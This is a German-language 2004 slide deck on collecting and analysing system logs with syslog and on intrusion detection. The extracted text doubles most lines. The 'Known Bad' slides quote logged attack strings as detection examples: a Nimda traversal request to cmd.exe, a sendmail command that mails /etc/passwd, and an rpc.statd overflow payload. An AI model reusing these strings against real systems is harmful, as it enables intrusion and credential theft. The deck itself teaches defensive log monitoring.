LogFile Auswertung (log analysis)

Copyright © 2004 Adiscon GmbH www.adiscon.com
Logfile AuswertungLogfile Auswertung
„Getting it there and getting„Getting it there and getting
something out of it...“something out of it...“
Rainer GerhardsRainer Gerhards
AdisconAdiscon

Worum es geht...Worum es geht...
 SammlungSammlung undund AuswertungAuswertung vonvon
System-ProtokolldateienSystem-Protokolldateien
• NutzenNutzen
• MöglichkeitenMöglichkeiten
• SchwierigkeitenSchwierigkeiten
• LösungenLösungen
 DenkansätzeDenkansätze
• KEINE Produktpräsentation!KEINE Produktpräsentation!
• KEINE fertigen Lösungen!KEINE fertigen Lösungen!

Was beinhalten Logs?Was beinhalten Logs?
 Betriebsmanagement-InfosBetriebsmanagement-Infos
 Securitymanagement-InfosSecuritymanagement-Infos
• Benutzeran- und -abmeldungenBenutzeran- und -abmeldungen
• Nachrichtenverkehr (Firewall, Router, ...)Nachrichtenverkehr (Firewall, Router, ...)
• erkannte Viren/Malwareerkannte Viren/Malware
• Zugriffe auf DatenobjekteZugriffe auf Datenobjekte
• Ressourcenprobleme (out of space...)Ressourcenprobleme (out of space...)
• und viel, viel mehr...und viel, viel mehr...

Nutzen von LogsNutzen von Logs
 KapazitätsplanungenKapazitätsplanungen
 FehleranalyseFehleranalyse
 (Realzeit-)Alarmierung(Realzeit-)Alarmierung
 BeweissicherungBeweissicherung
 Forensische AnalyseForensische Analyse
 (Interne) Auditierung(Interne) Auditierung
 Achtung!Achtung!
• DatenschutzDatenschutz
• Mitbestimmungsrechte BetriebsratMitbestimmungsrechte Betriebsrat

„„getting it there...“getting it there...“
 Logs liegen auf einzelnen GerätenLogs liegen auf einzelnen Geräten
 es muss zentralisiert werden, umes muss zentralisiert werden, um
Gesamtbild zu erhaltenGesamtbild zu erhalten
 Herstellerlösungen decken oft nurHerstellerlösungen decken oft nur
einen Teilbereich abeinen Teilbereich ab

LogquellenLogquellen
 Geräte (Router, Firewall) mit syslogGeräte (Router, Firewall) mit syslog
 *NIX syslog*NIX syslog
 Windows Event LogsWindows Event Logs
 TextdateienTextdateien
 DatenbanktabellenDatenbanktabellen
 serielle Geräteserielle Geräte
 ......

Zugang zu Log-QuellenZugang zu Log-Quellen
 je nach Systemje nach System
• unterschiedlicher Zugriffunterschiedlicher Zugriff
• unterschiedliches Meldungsformatunterschiedliches Meldungsformat
• unterschiedliche Aussagekraftunterschiedliche Aussagekraft
 Selbst gleiche Geräte, inSelbst gleiche Geräte, in
unterschiedlichen Releases, erzeugenunterschiedlichen Releases, erzeugen
unterschiedliche Log-Meldungenunterschiedliche Log-Meldungen
 APIs in hohem Maße inkompatibelAPIs in hohem Maße inkompatibel

Lösung - syslogLösung - syslog
 syslog ist kleinste gemeinsame Untermengesyslog ist kleinste gemeinsame Untermenge
 ursprünglich entstanden im Umfeld vonursprünglich entstanden im Umfeld von
sendmailsendmail
 de-facto Standard (späte „Standardisierung“de-facto Standard (späte „Standardisierung“
bisher nur über einen informational RFC)bisher nur über einen informational RFC)
 extrem einfach zu implementieren (undextrem einfach zu implementieren (und
daher sehr große Unterstützung)daher sehr große Unterstützung)
 sollte eine Logquelle kein syslogsollte eine Logquelle kein syslog
unterstützen, gibt es bestimmt einenunterstützen, gibt es bestimmt einen
Konverter dafür (z.B. EventReporter fürKonverter dafür (z.B. EventReporter für
Windows Event Log)Windows Event Log)
 syslog ist in der Praxis erprobt und bewährtsyslog ist in der Praxis erprobt und bewährt

syslog: formatsyslog: format
 kurze Textmeldung (< 1024 byte)kurze Textmeldung (< 1024 byte)
 Übermittlung via UDP (ungesichert)Übermittlung via UDP (ungesichert)
 Facility/Severity: Numerische WerteFacility/Severity: Numerische Werte
für Filterungfür Filterung
 KEINE Spezifikation des TextteilesKEINE Spezifikation des Textteiles
(anders als z.B. SNMP)(anders als z.B. SNMP)
<38>Nov 12 15:11:26 su(pam_unix)[2246]:
session opened for user root by
rger(uid=500)

syslog: Der Meldungsinhalt...syslog: Der Meldungsinhalt...
 leidiges Problemleidiges Problem
 keine Standardisierung in Sichtkeine Standardisierung in Sicht
 jeder Entwickler schickt, was er fürjeder Entwickler schickt, was er für
richtig hält – und in dem Format, inrichtig hält – und in dem Format, in
dem er es für richtig hält...dem er es für richtig hält...
 Nachbearbeitung der MeldungenNachbearbeitung der Meldungen
erforderlicherforderlich
 verschiedene Analysetoolsverschiedene Analysetools

syslog: Bittere Pillen...syslog: Bittere Pillen...
 Probleme aus der PraxisProbleme aus der Praxis
• MeldungsverlusteMeldungsverluste
• einfach zu fälscheneinfach zu fälschen
• einfach mitzuleseneinfach mitzulesen
 Fortentwicklung des ProtokollsFortentwicklung des Protokolls
• IETF Arbeitsgruppe seit ca. 2000IETF Arbeitsgruppe seit ca. 2000
• syslog-protocol - neues Format, Layerssyslog-protocol - neues Format, Layers
• syslog-sign - Signaturensyslog-sign - Signaturen
• RFC 3195 (syslog-reliable) – sichere undRFC 3195 (syslog-reliable) – sichere und
verschlüsselte Übertragungverschlüsselte Übertragung
 Für viele Probleme finden sich Lösungen –Für viele Probleme finden sich Lösungen –
man muss nur nachdenken...man muss nur nachdenken...

Aufbau der Log-InfrastrukturAufbau der Log-Infrastruktur
 TypischTypisch
• Systeme so konfigurieren, dass auch tatsächlichSysteme so konfigurieren, dass auch tatsächlich
relevanterelevante Logs erzeugt werdenLogs erzeugt werden
• Lieferung der Logdaten an ein zentrales SystemLieferung der Logdaten an ein zentrales System
• evtl. (Near)-RealTime Alertingevtl. (Near)-RealTime Alerting
• Auswertung auf dem zentralen SystemAuswertung auf dem zentralen System
 je nach Aufgabenstellung natürlich gänzlichje nach Aufgabenstellung natürlich gänzlich
verschiedene Strukturenverschiedene Strukturen
• DatenschutzDatenschutz
• Beweissicherung / AuditierungBeweissicherung / Auditierung

Beispiel: Relay-ArchitekturBeispiel: Relay-Architektur

Speicherung der LogdateienSpeicherung der Logdateien
 DatenbankenDatenbanken
• einfache Abfrageeinfache Abfrage
• für große Logmengen ungeeignetfür große Logmengen ungeeignet
(Durchsatz)(Durchsatz)
 TextdateienTextdateien
• sehr viel besserer Durchsatzsehr viel besserer Durchsatz
• von vielen Tools unterstütztvon vielen Tools unterstützt
• in der interaktiven Analyse problematischin der interaktiven Analyse problematisch
 Gespeicherte Logs müssen besondersGespeicherte Logs müssen besonders
gegen Manipulation geschützt werden!gegen Manipulation geschützt werden!

„„getting something out of it...“getting something out of it...“
The common item to look for whenThe common item to look for when
reviewing log files is anything thatreviewing log files is anything that
appears out of the ordinary.appears out of the ordinary.
CERT Coordination CenterCERT Coordination Center
Intrusion Detection ChecklistIntrusion Detection Checklist

Einige Auswertungsverfahren...Einige Auswertungsverfahren...
 Basierend auf SignaturenBasierend auf Signaturen
• kown badkown bad
• „„artificial ignorance“ (Marcus Ranum)artificial ignorance“ (Marcus Ranum)
 Basierend auf StatistikenBasierend auf Statistiken
 „„Never before seen“Never before seen“

Known BadKnown Bad
 vergleichbar Virensignaturdateienvergleichbar Virensignaturdateien
 bekannte Muster von Attackenbekannte Muster von Attacken
 besondere Problematik: je nachbesondere Problematik: je nach
meldendem System/Version könnenmeldendem System/Version können
die Signaturen unterschiedlich seindie Signaturen unterschiedlich sein

Beispiele „Known Bad“ IBeispiele „Known Bad“ I
 Nimda:Nimda:
204.120.69.195 - - [18/Sep/2001:09:35:19204.120.69.195 - - [18/Sep/2001:09:35:19
-0500] "GET /scripts/..%-0500] "GET /scripts/..%
%35%63../winnt/system32 /cmd.exe?/c+dir%35%63../winnt/system32 /cmd.exe?/c+dir
HTTP/1.0" 400 215 "-" "-"HTTP/1.0" 400 215 "-" "-"
 Sendmail Exploits:Sendmail Exploits:
Jul 21 01:25:49 ariel sendmail[308]:Jul 21 01:25:49 ariel sendmail[308]:
BAA00307: to=lamarbroc@delphi.com,BAA00307: to=lamarbroc@delphi.com,
ctladdr=":/bin/mail root@ariel.sdsc.eductladdr=":/bin/mail root@ariel.sdsc.edu
</etc/passwd", delay=00:00:34, mailer=smtp,</etc/passwd", delay=00:00:34, mailer=smtp,
relay=bos1h.delphi.com. (192.80.63.8),relay=bos1h.delphi.com. (192.80.63.8),
stat=Sent (Ok.)stat=Sent (Ok.)

Beispiele „Known Bad“ IIBeispiele „Known Bad“ II
 Buffer Overflows:Buffer Overflows:
Jan 02 16:19:45 xxx.xxx.xxx.xxx rpc.statd[351]:Jan 02 16:19:45 xxx.xxx.xxx.xxx rpc.statd[351]:
gethostbyname error forgethostbyname error for
^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿bffff750^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿bffff750
804971090909090687465676274736f6d616e797265206520726f7804971090909090687465676274736f6d616e797265206520726f7
220726f66220726f66
bffff718bffff718
bffff719 bffff71abffff719 bffff71a
bffff71bbffff71b




!!
!!




Known Good /Known Good /
Artificial IgnoranceArtificial Ignorance
 bekannte Log-Einträge werdenbekannte Log-Einträge werden
ausgefiltertausgefiltert
 Parameter in den Einträgen erfordernParameter in den Einträgen erfordern
oft spezielle Beachtungoft spezielle Beachtung
 Nur die verbleibenden Einträge werdenNur die verbleibenden Einträge werden
beachtetbeachtet
 ACHTUNG: „Gute“ Einträge könnenACHTUNG: „Gute“ Einträge können
auch von (erfolgreichen) Attackenauch von (erfolgreichen) Attacken
erzeugt worden sein.erzeugt worden sein.

StatistikenStatistiken
 Betrachtet werdenBetrachtet werden
• bestimmte Messzahlen (z.B.bestimmte Messzahlen (z.B.
Verkehrsvolumen)Verkehrsvolumen)
• (syslog-) Meldungsvolumen selbst(syslog-) Meldungsvolumen selbst
 Vergleich von aktuellem Wert zuVergleich von aktuellem Wert zu
statistischem Mittelwertstatistischem Mittelwert
 Signifikante Abweichungen könnenSignifikante Abweichungen können
auf ein Problem hindeutenauf ein Problem hindeuten
• ABER: Feiertage können signifikanteABER: Feiertage können signifikante
Abweichungen erzeugen...Abweichungen erzeugen...

Never before SeenNever before Seen
 Besonders beachtenswert sindBesonders beachtenswert sind
• Ereignisse, die noch NIEMALS aufgetretenEreignisse, die noch NIEMALS aufgetreten
sind (Marcus Ranum, loganlysis list)sind (Marcus Ranum, loganlysis list)
• Ereignisse, die extrem selten auftretenEreignisse, die extrem selten auftreten
(Rainer Gerhards, „Needle in Haystack“)(Rainer Gerhards, „Needle in Haystack“)
 Vorsicht: Neue Software-VersionenVorsicht: Neue Software-Versionen
oder Geräte können Ergebnisoder Geräte können Ergebnis
temporär verfälschen!temporär verfälschen!

Automatische Analyse IAutomatische Analyse I
 Gefahr von „false positives“ sehr hochGefahr von „false positives“ sehr hoch
 zu viel Automatik kann evtl. selbst zuzu viel Automatik kann evtl. selbst zu
denial of service genutzt werden:denial of service genutzt werden:
• auto-Regel (basierend auf „kown bad“)auto-Regel (basierend auf „kown bad“)
schließt Firewall für IPs, von denenschließt Firewall für IPs, von denen
Attacken ausgehenAttacken ausgehen
• Attackierender spooft Pakete mit fremdenAttackierender spooft Pakete mit fremden
IPs für einen gesamten RangeIPs für einen gesamten Range
• Ergebnis: unsere Regel sperrt dieErgebnis: unsere Regel sperrt die
gespooften IPs aus... autsch ;)gespooften IPs aus... autsch ;)

Automatische Analyse IIAutomatische Analyse II
 automatische Alarme sollten manuellautomatische Alarme sollten manuell
überprüft werdenüberprüft werden
 automatische Aktionen könnenautomatische Aktionen können
verwendet werden, wenn diesverwendet werden, wenn dies
zwingend erforderlich erscheint. Dannzwingend erforderlich erscheint. Dann
müssen aber alle Konsequenzenmüssen aber alle Konsequenzen
durchdacht werden!durchdacht werden!

Unterstützung der manuellenUnterstützung der manuellen
AnalyseAnalyse
 Komprimierung und KonsolidierungKomprimierung und Konsolidierung
notwendignotwendig
 dem Analysierenden muss der Zugangdem Analysierenden muss der Zugang
zu den Low-Level Informationenzu den Low-Level Informationen
einfach möglich sein (oftmals kann nureinfach möglich sein (oftmals kann nur
damit eine endgültige Entscheidungdamit eine endgültige Entscheidung
gefällt werden)gefällt werden)

ZusammenfassungZusammenfassung
 Log-Dateien beinhalten sehr hilfreicheLog-Dateien beinhalten sehr hilfreiche
InformationenInformationen
 Strategie zum zentralen SammelnStrategie zum zentralen Sammeln
zwingend erforderlichzwingend erforderlich
 In heterogenen Umgebungen istIn heterogenen Umgebungen ist
syslog oft die einzige Möglichkeit, hatsyslog oft die einzige Möglichkeit, hat
aber Restriktionenaber Restriktionen
 In der Analyse nicht nur aufIn der Analyse nicht nur auf
Automatiken verlassen.Automatiken verlassen.

Fragen?Fragen?
 rgerhards@adiscon.comrgerhards@adiscon.com
 www.adiscon.comwww.adiscon.com
 www.monitorware.comwww.monitorware.com
Adiscon GmbH
Franz-Marc-Str. 144
50374 Erftstadt
0800-ADISCON (0800/2347266)
info@adiscon.com

Weitere Interessante LinksWeitere Interessante Links
 www.loganalysis.orgwww.loganalysis.org
 www.sans.orgwww.sans.org
 http://www.dshield.com/http://www.dshield.com/
 www.syslog.cc/ietf/www.syslog.cc/ietf/
 http://www.ietf.org/html.charters/syslohttp://www.ietf.org/html.charters/syslo
g-charter.htmlg-charter.html
 http://www.monitorware.com/en/workihttp://www.monitorware.com/en/worki
nprogress/nature-of-syslog-data.phpnprogress/nature-of-syslog-data.php
 http://www.monitorware.com/en/workihttp://www.monitorware.com/en/worki
nprogress/Needle-in-Haystack.phpnprogress/Needle-in-Haystack.php

DanksagungDanksagung
 Der Autor möchte sich insbesondereDer Autor möchte sich insbesondere
bei Dr. Tina Bird vonbei Dr. Tina Bird von
www.loganalysis.org für diewww.loganalysis.org für die
Überlassung einiger Beispiele ausÜberlassung einiger Beispiele aus
Ihrem Loganalyse-Seminar bedanken.Ihrem Loganalyse-Seminar bedanken.

LogFile Auswertung (log analysis)

Recomendados

Recomendados

Mais conteúdo relacionado

Semelhante a LogFile Auswertung (log analysis)

Semelhante a LogFile Auswertung (log analysis) (20)

Mais de Rainer Gerhards

Mais de Rainer Gerhards (13)

LogFile Auswertung (log analysis)